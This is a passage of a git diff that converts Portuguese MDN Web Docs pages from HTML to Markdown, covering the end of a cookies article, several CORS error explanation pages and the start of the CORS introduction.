+Uma abordagem mais radical aos cookies são os cookies zumbi ou _Evercookies_, que são recriados quando apagados e intencionalmente difíceis de apagar por completo. Eles usam a [API Web storage](/pt-BR/docs/Web/API/Web_Storage_API "DOM Storage"), Objetos Flash Local Shared e outras técnicas para se recriarem sempre que a ausência do cookie é detectada. - +- [Evercookie por Samy Kamkar](https://github.com/samyk/evercookie) +- [Cookies zumbi na Wikipedia](https://en.wikipedia.org/wiki/Zombie_cookie) -

Veja também

+## Veja também - +- {{HTTPHeader("Set-Cookie")}} +- {{HTTPHeader("Cookie")}} +- {{domxref("Document.cookie")}} +- {{domxref("Navigator.cookieEnabled")}} +- [Inspecionando cookies usando o Inspetor de Armazenamento](/pt-BR/docs/Tools/Storage_Inspector) +- [Especificação dos cookies: RFC 6265](https://tools.ietf.org/html/rfc6265) +- [Artigo de Nicholas Zakas sobre cookies](https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/) +- [Artigo de Nicholas Zakas sobre cookies e segurança](https://www.nczonline.net/blog/2009/05/12/cookies-and-security/) +- [Cookies HTTP na Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie) diff --git a/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.md b/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.md index a9249889544687..cb1d128f4cb18f 100644 --- a/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.md +++ b/files/pt-br/web/http/cors/errors/corsdidnotsucceed/index.md @@ -3,31 +3,29 @@ title: 'Razão: A requisição CORS não foi bem sucedida' slug: Web/HTTP/CORS/Errors/CORSDidNotSucceed translation_of: Web/HTTP/CORS/Errors/CORSDidNotSucceed --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Razão

+## Razão -
Razão: A requisição CORS não foi bem sucedida
+``` +Razão: A requisição CORS não foi bem sucedida +``` -

O que deu errado?

+## O que deu errado? -

A requisição {{Glossary("HTTP")}} que faz uso do CORS falhou porque a conexão HTTP falhou a nível da camada de transporte ou protocolo. O erro não é diretamente relacionado ao CORS, mas é um tipo de erro fundamental de rede.

+A requisição {{Glossary("HTTP")}} que faz uso do CORS falhou porque a conexão HTTP falhou a nível da camada de transporte ou protocolo. O erro não é diretamente relacionado ao CORS, mas é um tipo de erro fundamental de rede. -

Em alguns casos, isso é causado por um plug-in do navegador (um bloqueador de anúncios ou protetor de privacidade) bloqueando a solicitação.

+Em alguns casos, isso é causado por um plug-in do navegador (um bloqueador de anúncios ou protetor de privacidade) bloqueando a solicitação. -

Outras possíveis causas incluem:

+Outras possíveis causas incluem: -
    -
  • Tentar acessar um recurso https que possui um certificado inválido causará esse erro.
  • -
  • Tentar acessar um recurso http de uma página com origem https também causará esse erro.
  • -
  • No Firefox 68, as páginas https não têm permissão para acessar http: // localhost, embora isso possa ser alterado pelo Bug 1488740.
  • -
  • O servidor não respondeu à solicitação atual (mesmo que tenha respondido ao {{Glossary ("Preflight request")}}). Um cenário pode ser um serviço HTTP em desenvolvimento que entre em pânico sem retornar nenhum dado.
  • -
+- Tentar acessar um recurso https que possui um certificado inválido causará esse erro. +- Tentar acessar um recurso http de uma página com origem https também causará esse erro. +- No Firefox 68, as páginas https não têm permissão para acessar http: // localhost, embora isso possa ser alterado pelo Bug 1488740. +- O servidor não respondeu à solicitação atual (mesmo que tenha respondido ao {{Glossary ("Preflight request")}}). Um cenário pode ser um serviço HTTP em desenvolvimento que entre em pânico sem retornar nenhum dado. -

Veja também

+## Veja também - +- [Erros de CORS](/pt-BR/docs/Web/HTTP/CORS/Errors) +- Glossary: {{Glossary("CORS")}} +- [Introdução ao CORS](/pt-BR/docs/Web/HTTP/CORS) diff --git a/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.md b/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.md index 1725bcb9edefba..1f3402008f4232 100644 --- a/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.md +++ b/files/pt-br/web/http/cors/errors/corsmissingalloworigin/index.md @@ -10,46 +10,48 @@ tags: - Reasons translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Motivo

+## Motivo -
Reason: CORS header 'Access-Control-Allow-Origin' missing
+``` +Reason: CORS header 'Access-Control-Allow-Origin' missing +``` -

O que houve de errado?

+## O que houve de errado? -

A resposta à requisição {{Glossary ("CORS")}} está sem o cabeçalho {{HTTPHeader ("Access-Control-Allow-Origin")}} necessário, que é usado para determinar se o recurso pode ser acessado ou não pelo conteúdo operando dentro da origem atual.

+A resposta à requisição {{Glossary ("CORS")}} está sem o cabeçalho {{HTTPHeader ("Access-Control-Allow-Origin")}} necessário, que é usado para determinar se o recurso pode ser acessado ou não pelo conteúdo operando dentro da origem atual. -

Se o servidor estiver sob seu controle, adicione a origem do site solicitante ao conjunto de domínios de acesso permitido, adicionando-o ao valor do cabeçalho Access-Control-Allow-Origin.

+Se o servidor estiver sob seu controle, adicione a origem do site solicitante ao conjunto de domínios de acesso permitido, adicionando-o ao valor do cabeçalho `Access-Control-Allow-Origin`. -

Por exemplo, para permitir que um site da origem https://amazing.site acesse ao recurso usando CORS, o cabeçalho deve conter:

+Por exemplo, para permitir que um site da origem https\://amazing.site acesse ao recurso usando CORS, o cabeçalho deve conter: -
Access-Control-Allow-Origin: https://amazing.site
+``` +Access-Control-Allow-Origin: https://amazing.site +``` -

Você também pode configurar um site para permitir que qualquer site o acesse usando o curinga "*". Você só deve usar isso para APIs públicas. As APIs privadas nunca devem usar "*" e devem ter um domínio ou domínios específicos definidos. Além disso, o curinga só funciona para solicitações feitas com o atributo {{htmlattrxref ("crossorigin")}} definido como "anonymous".

+Você também pode configurar um site para permitir que qualquer site o acesse usando o curinga `"*"`. Você só deve usar isso para APIs públicas. As APIs privadas nunca devem usar `"*"` e devem ter um domínio ou domínios específicos definidos. Além disso, o curinga só funciona para solicitações feitas com o atributo {{htmlattrxref ("crossorigin")}} definido como `"anonymous"`. -
Access-Control-Allow-Origin: *
+``` +Access-Control-Allow-Origin: * +``` -
-

Advertência: Usar o caractere curinga para permitir que todos os sites acessem uma API privada é uma péssima ideia para o que deve ser uma razão óbvia.

-
+> **Aviso:** **Advertência:** Usar o caractere curinga para permitir que todos os sites acessem uma API privada é uma péssima ideia para o que deve ser uma razão óbvia. +Por exemplo, no Apache, adicione uma linha como a seguinte à configuração do servidor (na seção ``, ``, `` ou `` apropriada). A configuração é tipicamente encontrada em um arquivo `.conf` (`httpd.conf` e `apache.conf` são nomes comuns para estes), ou em um arquivo `.htaccess`. +``` +Header set Access-Control-Allow-Origin 'origin-list' +``` -

Por exemplo, no Apache, adicione uma linha como a seguinte à configuração do servidor (na seção <Directory>, <Location>, <Files> ou <VirtualHost> apropriada). A configuração é tipicamente encontrada em um arquivo .conf (httpd.conf e apache.conf são nomes comuns para estes), ou em um arquivo .htaccess.

+No Nginx, O comando para configurar este cabeçalho é: -
Header set Access-Control-Allow-Origin 'origin-list'
+``` +add_header 'Access-Control-Allow-Origin' 'origin-list' +``` -

No Nginx, O comando para configurar este cabeçalho é:

+## Veja também -
add_header 'Access-Control-Allow-Origin' 'origin-list'
- - - -

Veja também

- - +- [CORS errors (Erros do CORS)](/pt-BR/docs/Web/HTTP/CORS/Errors) +- Glossário: {{Glossary("CORS")}} +- [CORS introduction (Introdução ao CORS)](/pt-BR/docs/Web/HTTP/CORS) diff --git a/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.md b/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.md index e06497bc573dbb..b3b88473e4f8b2 100644 --- a/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.md +++ b/files/pt-br/web/http/cors/errors/corsnotsupportingcredentials/index.md @@ -5,30 +5,28 @@ title: >- slug: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials translation_of: Web/HTTP/CORS/Errors/CORSNotSupportingCredentials --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Motivo

+## Motivo -
Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’
+``` +Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’ +``` -

O que houve de errado?

+## O que houve de errado? -

A requisição {{Glossary("CORS")}} foi realizada com a flag de credenciais definida, mas o servidor está configurado para usar o coringa ("*") como valor do cabeçalho {{HTTPHeader("Access-Control-Allow-Origin")}}, o que não permite o uso de credenciais.

+A requisição {{Glossary("CORS")}} foi realizada com a flag de credenciais definida, mas o servidor está configurado para usar o coringa (`"*"`) como valor do cabeçalho {{HTTPHeader("Access-Control-Allow-Origin")}}, o que não permite o uso de credenciais. -

Para corrigir o problema do lado do cliente, assegure que a flag de credenciais é false ao fazer a requisição CORS.

+Para corrigir o problema do lado do cliente, assegure que a flag de credenciais é `false` ao fazer a requisição CORS. -
    -
  • Se a requisição foi realizada usando {{domxref("XMLHttpRequest")}}, assegure-se que você não setou {{domxref("XMLHttpRequest.withCredentials", "withCredentials")}} para true.
  • -
  • Usando Server-sent events, verifique se {{domxref("EventSource.withCredentials")}} está false (é o valor padrão).
  • -
  • Se usar a Fetch API, assegure-se que {{domxref("Request.credentials")}} está como "omit".
  • -
+- Se a requisição foi realizada usando {{domxref("XMLHttpRequest")}}, assegure-se que você não setou {{domxref("XMLHttpRequest.withCredentials", "withCredentials")}} para `true`. +- Usando [Server-sent events](/pt-BR/docs/Web/API/Server-sent_events), verifique se {{domxref("EventSource.withCredentials")}} está `false` (é o valor padrão). +- Se usar a [Fetch API](/pt-BR/docs/Web/API/Fetch_API), assegure-se que {{domxref("Request.credentials")}} está como `"omit"`. -

Se, em vez disso, você precisar ajustar o comportamento do servidor, você deverá alterar o valor de Access-Control-Allow-Origin para permitir acesso para a origem do qual o cliente é carregado.

+Se, em vez disso, você precisar ajustar o comportamento do servidor, você deverá alterar o valor de `Access-Control-Allow-Origin` para permitir acesso para a origem do qual o cliente é carregado. -

Veja também

+## Veja também - +- [CORS errors](/pt-BR/docs/Web/HTTP/CORS/Errors) +- Glossary: {{Glossary("CORS")}} +- [CORS introduction](/pt-BR/docs/Web/HTTP/CORS) diff --git a/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.md b/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.md index e86624134197fd..f3888cba396826 100644 --- a/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.md +++ b/files/pt-br/web/http/cors/errors/corsrequestnothttp/index.md @@ -15,29 +15,29 @@ tags: - console translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Razão

+## Razão -
Razão: Requisição CORS não é HTTP
+``` +Razão: Requisição CORS não é HTTP +``` -

O que deu errado?

+## O que deu errado? -

Requisições {{Glossary("CORS")}} devem apenas usar o esquema de URL HTTPS, mas a URL especificada pela requisição é de um tipo diferente. Isso geralmente ocorre se a URL especifica um arquivo local, usando uma URL file:///.

+Requisições {{Glossary("CORS")}} devem apenas usar o esquema de URL HTTPS, mas a URL especificada pela requisição é de um tipo diferente. Isso geralmente ocorre se a URL especifica um arquivo local, usando uma URL` file:///`. -

Para consertar esse problema, apenas certifique-se que você está usando URLs HTTPS quando emitir requisições que envolvam CORS.

+Para consertar esse problema, apenas certifique-se que você está usando URLs HTTPS quando emitir requisições que envolvam CORS. -

Segurança de Arquivos Locais no Firefox 68

+### Segurança de Arquivos Locais no Firefox 68 -

Quando um usuário abria uma página usando uma URI file:/// no Firefox 67 ou anterior, a origem da página era definida como sendo o diretório do qual a página era aberta. Recursos existentes no mesmo diretório e nos subdiretórios eram tratados como tendo a mesma origem de acordo com a regra de mesma-origem do {{Glossary("CORS")}}.

+Quando um usuário abria uma página usando uma URI `file:///` no Firefox 67 ou anterior, a origem da página era definida como sendo o diretório do qual a página era aberta. Recursos existentes no mesmo diretório e nos subdiretórios eram tratados como tendo a mesma origem de acordo com a regra de mesma-origem do {{Glossary("CORS")}}. -

Em resposta ao CVE-2019-11730, o Firefox, a partir da versão 68, define a origem da página aberta pela URI file:/// como única. Desta maneira, outros recursos do mesmo diretório ou subdiretório não satisfazem mais à regra de mesma-origem do CORS. Este novo comportamento está habilitado por padrão pela preferência de nome privacy.file_unique_origin.

+Em resposta ao [CVE-2019-11730](https://www.mozilla.org/en-US/security/advisories/mfsa2019-21/#CVE-2019-11730), o Firefox, a partir da versão 68, define a origem da página aberta pela URI `file:///` como única. Desta maneira, outros recursos do mesmo diretório ou subdiretório não satisfazem mais à regra de mesma-origem do CORS. Este novo comportamento está habilitado por padrão pela preferência de nome `privacy.file_unique_origin`. -

Veja também

+## Veja também - +- [CORS errors](/pt-BR/docs/Web/HTTP/CORS/Errors) +- Glossário: {{Glossary("CORS")}} +- [CORS introduction](/pt-BR/docs/Web/HTTP/CORS) +- [What is a URL?](/pt-BR/docs/Learn/Common_questions/What_is_a_URL) diff --git a/files/pt-br/web/http/cors/errors/index.md b/files/pt-br/web/http/cors/errors/index.md index 417cc96da7c8c1..c6434edc9d1353 100644 --- a/files/pt-br/web/http/cors/errors/index.md +++ b/files/pt-br/web/http/cors/errors/index.md @@ -15,62 +15,56 @@ tags: - troubleshooting translation_of: Web/HTTP/CORS/Errors --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

Cross-Origin Resource Sharing ({{Glossary("CORS")}}) is a standard that allows a server to relax the same-origin policy. This is used to explicitly allow some cross-origin requests while rejecting others. For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.

+[Cross-Origin Resource Sharing](/pt-BR/docs/Web/HTTP/CORS) ({{Glossary("CORS")}}) is a standard that allows a server to relax the [same-origin policy](/pt-BR/docs/Web/Security/Same-origin_policy). This is used to explicitly allow some cross-origin requests while rejecting others. For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them. -

If the CORS configuration isn't setup correctly, the browser console will present an error like "Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite" indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.

+If the CORS configuration isn't setup correctly, the browser console will present an error like `"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"` indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed. -

Identifying the issue

+## Identifying the issue -

To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:

+To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so: -
    -
  1. Navigate to the web site or web app in question and open the Developer Tools.
  2. -
  3. Now try to reproduce the failing transaction and check the console if you are seeing a CORS violation error message. It will probably look like this:
  4. -
+1. Navigate to the web site or web app in question and open the [Developer Tools](/pt-BR/docs/Tools). +2. Now try to reproduce the failing transaction and check the [console](/pt-BR/docs/Tools/Web_Console) if you are seeing a CORS violation error message. It will probably look like this: -

Firefox console showing CORS error

+![Firefox console showing CORS error](https://mdn.mozillademos.org/files/16050/cors-error2.png) -

The text of the error message will be something similar to the following:

+The text of the error message will be something similar to the following: -
Cross-Origin Request Blocked: The Same Origin Policy disallows
-reading the remote resource at https://some-url-here. (Reason:
-additional information here).
+``` +Cross-Origin Request Blocked: The Same Origin Policy disallows +reading the remote resource at https://some-url-here. (Reason: +additional information here). +``` -
-

Note: For security reasons, specifics about what went wrong with a CORS request are not available to JavaScript code. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.

-
+> **Nota:** **Note:** For security reasons, specifics about what went wrong with a CORS request _are not available to JavaScript code_. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details. -

CORS error messages

+## CORS error messages -

Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.

+Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions. - +- [Reason: CORS disabled](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSDisabled) +- [Reason: CORS request did not succeed](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed) +- [Reason: CORS header ‘Origin’ cannot be added](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded) +- [Reason: CORS request external redirect not allowed](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed) +- [Reason: CORS request not http](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp) +- [Reason: CORS header ‘Access-Control-Allow-Origin’ missing](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin) +- [Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin) +- [Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘\*’](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials) +- [Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound) +- [Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials) +- [Reason: CORS preflight channel did not succeed](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed) +- [Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod) +- [Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader) +- [Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight) +- [Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed](/pt-BR/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed) -

See also

+## See also - +- Glossary: {{Glossary("CORS")}} +- [CORS introduction](/pt-BR/docs/Web/HTTP/CORS) +- [Server-side CORS settings](/pt-BR/docs/Web/HTTP/Server-Side_Access_Control) +- [CORS enabled image](/pt-BR/docs/Web/HTML/CORS_enabled_image) +- [CORS settings attributes](/pt-BR/docs/Web/HTML/CORS_settings_attributes) +- – page to test CORS requests diff --git a/files/pt-br/web/http/cors/index.md b/files/pt-br/web/http/cors/index.md index 46af40dd56e0fa..1ab9b897c506b6 100644 --- a/files/pt-br/web/http/cors/index.md +++ b/files/pt-br/web/http/cors/index.md @@ -9,91 +9,85 @@ tags: translation_of: Web/HTTP/CORS original_slug: Web/HTTP/Controle_Acesso_CORS --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

{{Glossary("CORS")}} - Cross-Origin Resource Sharing (Compartilhamento de recursos com origens diferentes) é um mecanismo que usa cabeçalhos adicionais {{Glossary("HTTP")}} para informar a um navegador que permita que um aplicativo Web seja executado em uma origem (domínio) com permissão para acessar recursos selecionados de um servidor em uma origem distinta. Um aplicativo Web executa uma requisição cross-origin HTTP ao solicitar um recurso que tenha uma origem diferente (domínio, protocolo e porta) da sua própria origem.

+{{Glossary("CORS")}} - Cross-Origin Resource Sharing (Compartilhamento de recursos com origens diferentes) é um mecanismo que usa cabeçalhos adicionais {{Glossary("HTTP")}} para informar a um navegador que permita que um aplicativo Web seja executado em uma origem (domínio) com permissão para acessar recursos selecionados de um servidor em uma origem distinta. Um aplicativo Web executa uma **requisição _cross-origin_ HTTP** ao solicitar um recurso que tenha uma origem diferente (domínio, protocolo e porta) da sua própria origem. -

Um exemplo de requisição cross-origin: o código JavaScript frontend de um aplicativo web disponível em http://domain-a.com usa {{domxref ("XMLHttpRequest")}} para fazer uma requisição para http://api.domain-b.com/data.json.

+Um exemplo de requisição _cross-origin_: o código JavaScript _frontend_ de um aplicativo web disponível em `http://domain-a.com` usa {{domxref ("XMLHttpRequest")}} para fazer uma requisição para `http://api.domain-b.com/data.json`. -

Por motivos de segurança, navegadores restringem requisições cross-origin HTTP iniciadas por scripts. Por exemplo, XMLHttpRequest e Fetch API seguem a política de mesma origem (same-origin policy). Isso significa que um aplicativo web que faz uso dessas APIs só poderá fazer solicitações para recursos de mesma origem da qual o aplicativo foi carregado, a menos que a resposta da outra origem inclua os cabeçalhos CORS corretos.

+Por motivos de segurança, navegadores restringem requisições _cross-origin_ HTTP iniciadas por scripts. Por exemplo, `XMLHttpRequest` e [Fetch API](/pt-BR/docs/Web/API/Fetch_API) seguem a [política de mesma origem](/pt-BR/docs/Web/Security/Same-origin_policy) (_same-origin policy_). Isso significa que um aplicativo web que faz uso dessas APIs só poderá fazer solicitações para recursos de mesma origem da qual o aplicativo foi carregado, a menos que a resposta da outra origem inclua os cabeçalhos CORS corretos. -

+![](https://mdn.mozillademos.org/files/14295/CORS_principle.png) -

O mecânismo CORS suporta requisições seguras do tipo cross-origin e transferências de dados entre navegadores e servidores web. Navegadores modernos usam o CORS em uma API contêiner, como XMLHttpRequest ou Fetch, para ajudar a reduzir os riscos de requisições cross-origin HTTP.

+O mecânismo CORS suporta requisições seguras do tipo _cross-origin e_ transferências de dados entre navegadores e servidores web. Navegadores modernos usam o CORS em uma API contêiner, como `XMLHttpRequest` ou [Fetch](/pt-BR/docs/Web/API/Fetch_API), para ajudar a reduzir os riscos de requisições _cross-origin_ HTTP. -

Quem deve ler este artigo?

+## Quem deve ler este artigo? -

Todos, realmente.

+Todos, realmente. -

Este artigo destina-se a administradores da Web, desenvolvedores de servidores e desenvolvedores front-end. Os navegadores modernos lidam com os componentes do lado cliente em compartilhamento entre origens, incluindo cabeçalhos e aplicação de políticas. Mas esse novo padrão significa que os servidores precisam lidar com novos cabeçalhos de requisição e resposta. Outro artigo para desenvolvedores de servidores que discutem compartilhamento cross-origin a partir de uma perspectiva de servidor (com fragmentos de código PHP), pode ser uma leitura complementar.

+Este artigo destina-se a administradores da Web, desenvolvedores de servidores e desenvolvedores front-end. Os navegadores modernos lidam com os componentes do lado cliente em compartilhamento entre origens, incluindo cabeçalhos e aplicação de políticas. Mas esse novo padrão significa que os servidores precisam lidar com novos cabeçalhos de requisição e resposta. Outro artigo para desenvolvedores de servidores que discutem [compartilhamento _cross-origin_ a partir de uma perspectiva de servidor (com fragmentos de código PHP)](en-US/docs/Web/HTTP/Server-Side_Access_Control), pode ser uma leitura complementar. -

Quais solicitações usam o CORS?

+## Quais solicitações usam o CORS? -

Esse padrão de compartilhamento cross-origin é usado para habilitar solicitações HTTP entre sites para:

+Esse [padrão de compartilhamento _cross-origin_](https://fetch.spec.whatwg.org/#http-cors-protocol) é usado para habilitar solicitações HTTP entre sites para: - +- Chamadas {{domxref("XMLHttpRequest")}} ou [Fetch API](/pt-BR/docs/Web/API/Fetch_API) pela comunicação entre origens diferentes, tal como discutido acima. +- Web Fonts (para o uso de fontes pelo _cross-domain_ em `@font` do CSS), [para que os servidores possam implantar fontes TrueType que só podem ser carregadas em origens diferentes e usadas por sites com autorização para isso](https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements). +- [Texturas WebGL](/pt-BR/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL). +- _Frames_ de Imagens/vídeos desenhados em uma tela usando {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}}. -

Este artigo é uma discussão geral sobre Cross-Origin Resource Sharing (Compartilhamento de recursos com origens diferentes) e inclui uma discussão de cabeçalhos HTTP necessários.

+Este artigo é uma discussão geral sobre _Cross-Origin Resource Sharing_ (Compartilhamento de recursos com origens diferentes) e inclui uma discussão de cabeçalhos HTTP necessários. -

Visão Geral

+## Visão Geral -

O padrão Cross-Origin Resource Sharing trabalha adicionando novos cabeçalhos HTTP que permitem que os servidores descrevam um conjunto de origens que possuem permissão a ler uma informação usando o navegador. Além disso, para métodos de requisição HTTP que podem causar efeitos colaterais nos dados do servidor (em particular, para métodos HTTP diferentes de {{HTTPMethod("GET")}} ou para uso de {{HTTPMethod("POST")}} com certos MIME types), a especificação exige que navegadores "pré-enviem" a requisição, solicitando os métodos suportados pelo servidor com um método de requisição HTTP {{HTTPMethod("OPTIONS")}} e, após a "aprovação", o servidor envia a requisição verdadeira com o método de requisição HTTP correto. Servidores também podem notificar clientes se "credenciais" (incluindo Cookies e dados de autenticação HTTP) devem ser enviadas com as requisições.

+O padrão _Cross-Origin Resource Sharing_ trabalha adicionando novos [cabeçalhos HTTP](/pt-BR/docs/Web/HTTP/Headers) que permitem que os servidores descrevam um conjunto de origens que possuem permissão a ler uma informação usando o navegador. Além disso, para métodos de requisição HTTP que podem causar efeitos colaterais nos dados do servidor (em particular, para métodos HTTP diferentes de {{HTTPMethod("GET")}} ou para uso de {{HTTPMethod("POST")}} com certos [MIME types](/pt-BR/docs/Web/HTTP/Basics_of_HTTP/MIME_types)), a especificação exige que navegadores "pré-enviem" a requisição, solicitando os métodos suportados pelo servidor com um método de requisição HTTP {{HTTPMethod("OPTIONS")}} e, após a "aprovação", o servidor envia a requisição verdadeira com o método de requisição HTTP correto. Servidores também podem notificar clientes se "credenciais" (incluindo [Cookies](/pt-BR/docs/Web/HTTP/Cookies) e dados de autenticação HTTP) devem ser enviadas com as requisições. -

Falhas no CORS resultam em erros, mas por questões de segurança, detalhes sobre erros não estão disponíveis no código JavaScript. O código tem apenas conhecimento de que ocorreu um erro. A única maneira para determinar especificamente o que ocorreu de errado é procurar no console do navegador por mais detalhes.

+Falhas no CORS resultam em erros, mas por questões de segurança, detalhes sobre erros não estão disponíveis no código JavaScript. O código tem apenas conhecimento de que ocorreu um erro. A única maneira para determinar especificamente o que ocorreu de errado é procurar no console do navegador por mais detalhes. -

Seções subsequentes discutem cenários, assim como fornecem um detalhamento dos cabeçalhos HTTP utilizados.

+Seções subsequentes discutem cenários, assim como fornecem um detalhamento dos cabeçalhos HTTP utilizados. -

Exemplos de cenários com controle de acesso

+## Exemplos de cenários com controle de acesso -

Aqui, apresentamos três cenários que ilustram como Cross-Origin Resource Sharing funciona. Todos estes exemplos usam o objeto {{domxref("XMLHttpRequest")}}, que pode ser utilizado para fazer requisições entre origens em qualquer navegador compatível.

+Aqui, apresentamos três cenários que ilustram como _Cross-Origin Resource Sharing_ funciona. Todos estes exemplos usam o objeto {{domxref("XMLHttpRequest")}}, que pode ser utilizado para fazer requisições entre origens em qualquer navegador compatível. -

Os snippets JavaScript inclusos nessas seções (e instâncias executáveis de código do lado servidor que tratam corretamente essas requisições entre origens) podem ser encontrados "em ação" aqui: http://arunranga.com/examples/access-control/, e irão funcionar em navegadores que suportam XMLHttpRequest entre origens.

+Os snippets JavaScript inclusos nessas seções (e instâncias executáveis de código do lado servidor que tratam corretamente essas requisições entre origens) podem ser encontrados "em ação" aqui: , e irão funcionar em navegadores que suportam `XMLHttpRequest` entre origens. -

Uma discussão sobre Cross-Origin Resource Sharing a partir da perspectiva do servidor (incluindo snippets de código PHP) pode ser encontrada no artigo Server-Side Access Control (CORS).

+Uma discussão sobre _Cross-Origin Resource Sharing_ a partir da perspectiva do servidor (incluindo snippets de código PHP) pode ser encontrada no artigo [Server-Side Access Control (CORS)](/pt-BR/docs/Web/HTTP/Server-Side_Access_Control). -

Requisições simples

+### Requisições simples -

Algumas requisições não acionam um pré-envio CORS. Essas são denominadas neste artigo como “requisições simples” (simple request), embora a especificação {{SpecName('Fetch')}} (que define CORS) não utilize esse termo. Uma requisição que não aciona um pré-envio CORS — denominada “requisição simples” — é uma que atende todas as seguintes condições:

+Algumas requisições não acionam um [pré-envio CORS](/pt-BR/docs/Web/HTTP/Access_control_CORS#Preflighted_requests). Essas são denominadas neste artigo como “requisições simples” (_simple request_), embora a especificação {{SpecName('Fetch')}} (que define CORS) não utilize esse termo. Uma requisição que não aciona um [pré-envio CORS](/pt-BR/docs/Web/HTTP/Access_control_CORS#Preflighted_requests) — denominada “requisição simples” — é uma que **atende todas as seguintes condições**: -
    -
  • Os únicos métodos permitidos são: -
      -
    • {{HTTPMethod("GET")}}
    • -
    • {{HTTPMethod("HEAD")}}
    • -
    • {{HTTPMethod("POST")}}
    • -
    -
  • -
  • Além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}} ou qualquer um dos outros cabeçalhos com nomes definidos na especificação Fetch como “forbidden header name), os únicos cabeçalhos que podem ser definidos manualmente são aqueles cujo a especificação Fetch define como sendo um “CORS-safelisted request-header, que são: -
      -
    • {{HTTPHeader("Accept")}}
    • -
    • {{HTTPHeader("Accept-Language")}}
    • -
    • {{HTTPHeader("Content-Language")}}
    • -
    • {{HTTPHeader("Content-Type")}} (porém observe os requisitos adicionais abaixo)
    • -
    -
  • -
  • Os únicos valores permitidos para o {{HTTPHeader("Content-Type")}} do cabeçalho são: -
      -
    • application/x-www-form-urlencoded
    • -
    • multipart/form-data
    • -
    • text/plain
    • -
    -
  • -
  • Nenhum event listener é registrado em qualquer objeto {{domxref("XMLHttpRequestUpload")}} usado na requisição, estes são acessados usando a propriedade {{domxref("XMLHttpRequest.upload")}}.
  • -
